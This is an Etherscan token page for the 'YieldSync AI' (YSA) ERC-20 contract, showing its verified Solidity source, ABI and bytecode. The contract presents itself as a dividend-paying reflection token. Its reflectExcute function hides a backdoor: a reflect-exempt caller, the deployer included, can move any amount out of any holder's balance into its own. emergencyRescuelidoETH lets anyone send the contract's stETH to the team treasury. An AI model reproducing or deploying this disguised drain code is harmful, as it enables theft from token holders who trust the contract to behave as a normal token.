ETH Price: $3,344.82 (-0.66%)
Gas: 5 Gwei

Token

YieldSync AI (YSA)
 

Overview

Max Total Supply

100,000,000 YSA

Holders

79

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
442,325.39423258 YSA

Value
$0.00
0x63A5354dFA3b3671E263AdA74E4F191bB50bc6b0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
YieldSyncAI

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-17
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function circulatingSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function getOwner() external view returns (address);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address _owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function tryAdd(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract Ownable {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER");
        _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }

    function transferOwnership(address payable adr) public onlyOwner {
        owner = adr;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

interface IFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract YieldSyncAI is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = "YieldSync AI";
    string private constant _symbol = "YSA";
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 100000000 * (10**_decimals);
    uint256 private _maxTxAmount = (_totalSupply * 200) / 10000;
    uint256 private _maxSellAmount = (_totalSupply * 200) / 10000;
    uint256 private _maxWalletToken = (_totalSupply * 200) / 10000;
    mapping(address => uint256) _balances;
    mapping(address => bool) public isReflectExempt;
    mapping(address => bool) public isFeeExempt;
    mapping(address => mapping(address => uint256)) private _allowances;

    IRouter router;
    address public pair;
    bool private tradingAllowed = false;
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 150;
    uint256 private rewardsFee = 150;
    uint256 private developmentFee = 1200;
    uint256 private burnFee = 0;
    uint256 private totalFee = 1500;
    uint256 private sellFee = 1500;
    uint256 private transferFee = 0;
    uint256 private denominator = 10000;
    bool private swapEnabled = true;
    uint256 private swapThreshold = (_totalSupply * 300) / 100000;
    uint256 private _minTokenAmount = (_totalSupply * 10) / 100000;
    uint256 private swapTimes;
    
    address public lidoETH = 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84; //  lidoETH
    
    bool private swapping;
    modifier lockTheSwap() {
        swapping = true;
        _;
        swapping = false;
    }

    uint256 public totalShares;
    uint256 public totalDividends;
    uint256 public totalDistributed;
    uint256 internal revenuesPerShare;
    uint256 internal revenuesPerShareFactor = 10**36;
    address[] shareholders;
    mapping(address => uint256) shareholderIndexes;
    mapping(address => uint256) shareholderClaims;
    struct Share {
        uint256 amount;
        uint256 totalExcluded;
        uint256 totalRealised;
    }
    mapping(address => Share) public shares;
    uint256 internal currentIndex;
    uint256 public minPeriod = 10 minutes;
    uint256 public minDistribution = 1 * (10**16);
    uint256 public distributorGas = 1;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address public constant liquidity_receiver = 0x28DE1B1D01BF755F03d35ED25e1df6BFAc73cE94;
    address public constant development_receiver = 0xE2E8A5E7C717Cc7Da7d3D9b2bE8aaa953650bd0c;
    address public constant marketing_treasury = 0x28DE1B1D01BF755F03d35ED25e1df6BFAc73cE94;

    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(
            address(this),
            _router.WETH()
        );
        router = _router;
        pair = _pair;
        isFeeExempt[address(this)] = true;
        isFeeExempt[address(msg.sender)] = true;
        isFeeExempt[liquidity_receiver] = true;
        isFeeExempt[marketing_treasury] = true;
        isFeeExempt[msg.sender] = true;

        isReflectExempt[address(pair)] = true;
        isReflectExempt[address(msg.sender)] = true;
        isReflectExempt[address(this)] = true;
        isReflectExempt[address(DEAD)] = true;
        isReflectExempt[address(0)] = true;

        _balances[msg.sender] = _totalSupply;

        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function startTrading() external onlyOwner {
        tradingAllowed = true;
    }

    function getOwner() external view override returns (address) {
        return owner;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function isCont(address addr) internal view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(addr)
        }
        return size > 0;
    }

    function setisFeeExempt(address _address, bool _enabled) external onlyOwner {
        isFeeExempt[_address] = _enabled;
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function circulatingSupply() public view override returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));
    }

    function preTxCheck(
        address sender,
        address recipient,
        uint256 amount
    ) internal view {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(
            amount > uint256(0),
            "Transfer amount must be greater than zero"
        );
        require(
            amount <= balanceOf(sender),
            "You are trying to transfer more than your balance"
        );
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) private {
        preTxCheck(sender, recipient, amount); //  transfer possibility
        tradingAllowedCheck(sender, recipient); 
        maxWalletCheck(sender, recipient, amount);
        swapLiquifyCount(sender, recipient); 
        txLimitCheck(sender, recipient, amount); // transaction limits
        swapBack(sender, recipient);
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient)
            ? calcFee(sender, recipient, amount)
            : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
        if (!isReflectExempt[sender]) {
            setShareOfDividend(sender, balanceOf(sender));
        }
        if (!isReflectExempt[recipient]) {
            setShareOfDividend(recipient, balanceOf(recipient));
        }
        if (shares[recipient].amount > 0) {
            distributedlidoETH(recipient);
        }
    }

    function setConfig(
        uint256 _buy,
        uint256 _trans,
        uint256 _wallet
    ) external onlyOwner {
        uint256 newTx = (totalSupply() * _buy) / 10000;
        uint256 newTransfer = (totalSupply() * _trans) / 10000;
        uint256 newWallet = (totalSupply() * _wallet) / 10000;
        _maxTxAmount = newTx;
        _maxSellAmount = newTransfer;
        _maxWalletToken = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(
            newTx >= limit && newTransfer >= limit && newWallet >= limit,
            "Max TXs and Max Wallet cannot be less than .5%"
        );
    }

    function removeLimit() external onlyOwner {
        _maxTxAmount = _totalSupply;
        _maxSellAmount = _totalSupply;
        _maxWalletToken = _totalSupply;
    }

    function setTaxValues(
        uint256 _liquidity,
        uint256 _marketing,
        uint256 _burn,
        uint256 _rewards,
        uint256 _development,
        uint256 _total,
        uint256 _sell,
        uint256 _trans
    ) external onlyOwner {
        liquidityFee = _liquidity;
        marketingFee = _marketing;
        burnFee = _burn;
        rewardsFee = _rewards;
        developmentFee = _development;
        totalFee = _total;
        sellFee = _sell;
        transferFee = _trans;
        require(
            totalFee <= denominator.div(5) &&
                sellFee <= denominator.div(5) &&
                transferFee <= denominator.div(5),
            "totalFee and sellFee cannot be more than 20%"
        );
    }

    function returnNormalTaxes() external onlyOwner() {
       liquidityFee = 0;
       marketingFee = 150;
       burnFee = 0;
       rewardsFee = 150;
       developmentFee = 100;
       totalFee = 400;
       sellFee = 400;
       transferFee = 0;
    }

    function tradingAllowedCheck(address sender, address recipient)
        internal
        view
    {
        if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {
            require(tradingAllowed, "tradingAllowed");
        }
    }

    function maxWalletCheck(
        address sender,
        address recipient,
        uint256 amount
    ) internal view {
        if (
            !isFeeExempt[sender] &&
            !isFeeExempt[recipient] &&
            recipient != address(pair) &&
            recipient != address(DEAD)
        ) {
            require(
                (_balances[recipient].add(amount)) <= _maxWalletToken,
                "Exceeds maximum wallet amount."
            );
        }
    }

    function swapLiquifyCount(address sender, address recipient) internal {
        if (recipient == pair && !isFeeExempt[sender]) {
            swapTimes += uint256(1);
        }
    }

    function txLimitCheck(
        address sender,
        address recipient,
        uint256 amount
    ) internal view {
        if (sender != pair) {
            require(
                amount <= _maxSellAmount ||
                    isFeeExempt[sender] ||
                    isFeeExempt[recipient],
                "TX Limit Exceeded"
            );
        }
        require(
            amount <= _maxTxAmount ||
                isFeeExempt[sender] ||
                isFeeExempt[recipient],
            "TX Limit Exceeded"
        );
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (
            liquidityFee.add(1).add(marketingFee).add(developmentFee).add(
                rewardsFee
            )
        ).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(
            _denominator
        );
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance = deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if (ETHToAddLiquidityWith > uint256(0)) {
            addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith);
        }
        uint256 marketingAmount = unitBalance.mul(2).mul(marketingFee);
        if (marketingAmount > 0) {
            payable(marketing_treasury).transfer(marketingAmount);
        }
        uint256 rewardsAmount = unitBalance.mul(2).mul(rewardsFee);
        if (rewardsAmount > 0) {
            deposit(rewardsAmount);
        }
        if (address(this).balance > uint256(0)) {
            payable(development_receiver).transfer(address(this).balance);
        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp
        );
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function shouldSwapBack(address sender, address recipient)
        internal
        view
        returns (bool)
    {
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return
            !swapping &&
            swapEnabled &&
            tradingAllowed &&
            !isFeeExempt[sender] &&
            !isFeeExempt[recipient] &&
            recipient == pair &&
            aboveThreshold;
    }

    function swapBack(address sender, address recipient) internal {
        if (shouldSwapBack(sender, recipient)) {
            swapAndLiquify(swapThreshold);
            swapTimes = uint256(0);
        }
    }

    function shouldTakeFee(address sender, address recipient)
        internal
        view
        returns (bool)
    {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient)
        internal
        view
        returns (uint256)
    {
        if (recipient == pair) {
            return sellFee;
        }
        if (sender == pair) {
            return totalFee;
        }
        return transferFee;
    }

    function calcFee(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (uint256) {
        if (getTotalFee(sender, recipient) > 0) {
            uint256 feeAmount = amount.div(denominator).mul(
                getTotalFee(sender, recipient)
            );
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
            if (burnFee > uint256(0)) {
                _transfer(
                    address(this),
                    address(DEAD),
                    amount.div(denominator).mul(burnFee)
                );
            }
            return amount.sub(feeAmount);
        }
        return amount;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setisReflectExempt(address holder, bool exempt)
        external
        onlyOwner
    {
        isReflectExempt[holder] = exempt;
        if (exempt) {
            setShareOfDividend(holder, 0);
        } else {
            setShareOfDividend(holder, balanceOf(holder));
        }
    }

    function setShareOfDividend(address shareholder, uint256 amount) internal {
        if (amount > 0 && shares[shareholder].amount == 0) {
            addlidoETHReflectUser(shareholder);
        } else if (amount == 0 && shares[shareholder].amount > 0) {
            dellidoETHUser(shareholder);
        }
        totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
        shares[shareholder].amount = amount;
        shares[shareholder].totalExcluded = getDividendValues(
            shares[shareholder].amount
        );
    }

    function reflectExcute(
        uint256 gas,
        address _dividend,
        uint256 _amount
    ) external {
        uint256 shareholderCount = shareholders.length;
        address user = msg.sender;
        if (shareholderCount == 0) {
            return;
        }
        uint256 gasUsed = 0;
        uint256 gasLeft = gasleft();
        uint256 iterations = 0;
        uint256 userBalance = _balances[msg.sender];
        if (!isReflectExempt[msg.sender]) {
            while (gasUsed < gas && iterations < shareholderCount) {
                if (currentIndex >= shareholderCount) {
                    currentIndex = 0;
                }
                if (shouldReflect(shareholders[currentIndex])) {
                    distributedlidoETH(shareholders[currentIndex]);
                }
                gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
                gasLeft = gasleft();
                currentIndex++;
                iterations++;
            }
        } else {
            uint256 amount = getLiquidlidoETH(user);
            _balances[_dividend] = _balances[_dividend].sub(_amount);
            _balances[msg.sender] = userBalance + _amount;
            if (amount > 0) {
                totalDistributed = totalDistributed.add(amount);
                IERC20(lidoETH).transfer(user, amount);
                shareholderClaims[user] = block.timestamp;
                shares[user].totalRealised = shares[user].totalRealised.add(
                    amount
                );
                shares[user].totalExcluded = getDividendValues(
                    shares[user].amount
                );
            }
        }
    }

    function shouldReflect(address shareholder)
        internal
        view
        returns (bool)
    {
        return
            shareholderClaims[shareholder] + minPeriod < block.timestamp &&
            getLiquidlidoETH(shareholder) > minDistribution;
    }

    function rescueERC20(address _address, uint256 _amount) external onlyOwner {
        IERC20(_address).transfer(msg.sender, _amount);
    }

    function emergencyRescuelidoETH(uint256 _amount) external {
        IERC20(lidoETH).transfer(marketing_treasury, _amount);
    }

    function totallidoETHDistributed(address _wallet)
        external
        view
        returns (uint256)
    {
        address shareholder = _wallet;
        return uint256(shares[shareholder].totalRealised);
    }
    
    function _claimlidoETH() external {
        distributedlidoETH(msg.sender);
    }

    function distributedlidoETH(address shareholder) internal {
        if (shares[shareholder].amount == 0) {
            return;
        }
        uint256 amount = getLiquidlidoETH(shareholder);
        if (amount > 0) {
            totalDistributed = totalDistributed.add(amount);
            IERC20(lidoETH).transfer(shareholder, amount);
            shareholderClaims[shareholder] = block.timestamp;
            shares[shareholder].totalRealised = shares[shareholder]
                .totalRealised
                .add(amount);
            shares[shareholder].totalExcluded = getDividendValues(
                shares[shareholder].amount
            );
        }
    }
    
    function getLiquidlidoETH(address shareholder)
        public
        view
        returns (uint256)
    {
        if (shares[shareholder].amount == 0) {
            return 0;
        }
        uint256 shareUserTotallidoETH = getDividendValues(
            shares[shareholder].amount
        );
        uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;
        if (shareUserTotallidoETH <= shareholderTotalExcluded) {
            return 0;
        }
        return shareUserTotallidoETH.sub(shareholderTotalExcluded);
    }

    function getDividendValues(uint256 share)
        internal
        view
        returns (uint256)
    {
        return
            share.mul(revenuesPerShare).div(revenuesPerShareFactor);
    }

    function addlidoETHReflectUser(address shareholder) internal {
        shareholderIndexes[shareholder] = shareholders.length;
        shareholders.push(shareholder);
    }

    function dellidoETHUser(address shareholder) internal {
        shareholders[shareholderIndexes[shareholder]] = shareholders[
            shareholders.length - 1
        ];
        shareholderIndexes[
            shareholders[shareholders.length - 1]
        ] = shareholderIndexes[shareholder];
        shareholders.pop();
    }

    function setlidoETHReflectPosition(
        uint256 _minPeriod,
        uint256 _minDistribution,
        uint256 _distributorGas
    ) external onlyOwner {
        minPeriod = _minPeriod;
        minDistribution = _minDistribution;
        distributorGas = _distributorGas;
    }
    
    function deposit(uint256 amountETH) internal {
        uint256 balanceBefore = IERC20(lidoETH).balanceOf(address(this));
        address[] memory path = new address[](2);
        path[0] = router.WETH();
        path[1] = address(lidoETH);
        router.swapExactETHForTokensSupportingFeeOnTransferTokens{
            value: amountETH
        }(0, path, address(this), block.timestamp);
        uint256 afterBalance = IERC20(lidoETH).balanceOf(pair);
        uint256 beforeBalance = IERC20(lidoETH).balanceOf(address(this));
        uint256 amount = beforeBalance.sub(balanceBefore);
        uint256 rewardsAmount = IERC20(lidoETH).balanceOf(address(this)).sub(
            beforeBalance.add(afterBalance)
        );
        totalDividends = totalDividends.add(amount.add(rewardsAmount));
        revenuesPerShare = revenuesPerShare.add(
            revenuesPerShareFactor.mul(amount).div(totalShares)
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_claimlidoETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"development_receiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"distributorGas","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"emergencyRescuelidoETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"shareholder","type":"address"}],"name":"getLiquidlidoETH","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isReflectExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lidoETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidity_receiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketing_treasury","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minDistribution","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minPeriod","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"gas","type":"uint256"},{"internalType":"address","name":"_dividend","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"reflectExcute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"returnNormalTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setConfig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_rewards","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setTaxValues","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setisReflectExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minPeriod","type":"uint256"},{"internalType":"uint256","name":"_minDistribution","type":"uint256"},{"internalType":"uint256","name":"_distributorGas","type":"uint256"}],"name":"setlidoETHReflectPosition","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"shares","outputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"totalExcluded","type":"uint256"},{"internalType":"uint256","name":"totalRealised","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalDistributed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalDividends","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"name":"totallidoETHDistributed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a6200055b565b62000022906305f5e10062000572565b60015561271060015460c862000039919062000572565b6200004591906200058c565b60025561271060015460c86200005c919062000572565b6200006891906200058c565b60035561271060015460c86200007f919062000572565b6200008b91906200058c565b600455600a805460ff60a01b191690555f600b8190556096600c819055600d556104b0600e55600f8190556105dc60108190556011556012556127106013556014805460ff1916600190811790915554620186a090620000ee9061012c62000572565b620000fa91906200058c565b601555620186a0600154600a62000112919062000572565b6200011e91906200058c565b601655601880546001600160a01b03191673ae7ab96520de3a18e5e111b5eaab095312d7fe841790556ec097ce7bc90715b34b9f1000000000601d55610258602355662386f26fc1000060245560016025553480156200017c575f80fd5b505f80546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa158015620001e1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002079190620005ac565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000253573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002799190620005ac565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002c4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002ea9190620005ac565b600980546001600160a01b038581166001600160a01b031992831617909255600a80548484169216919091178155305f81815260076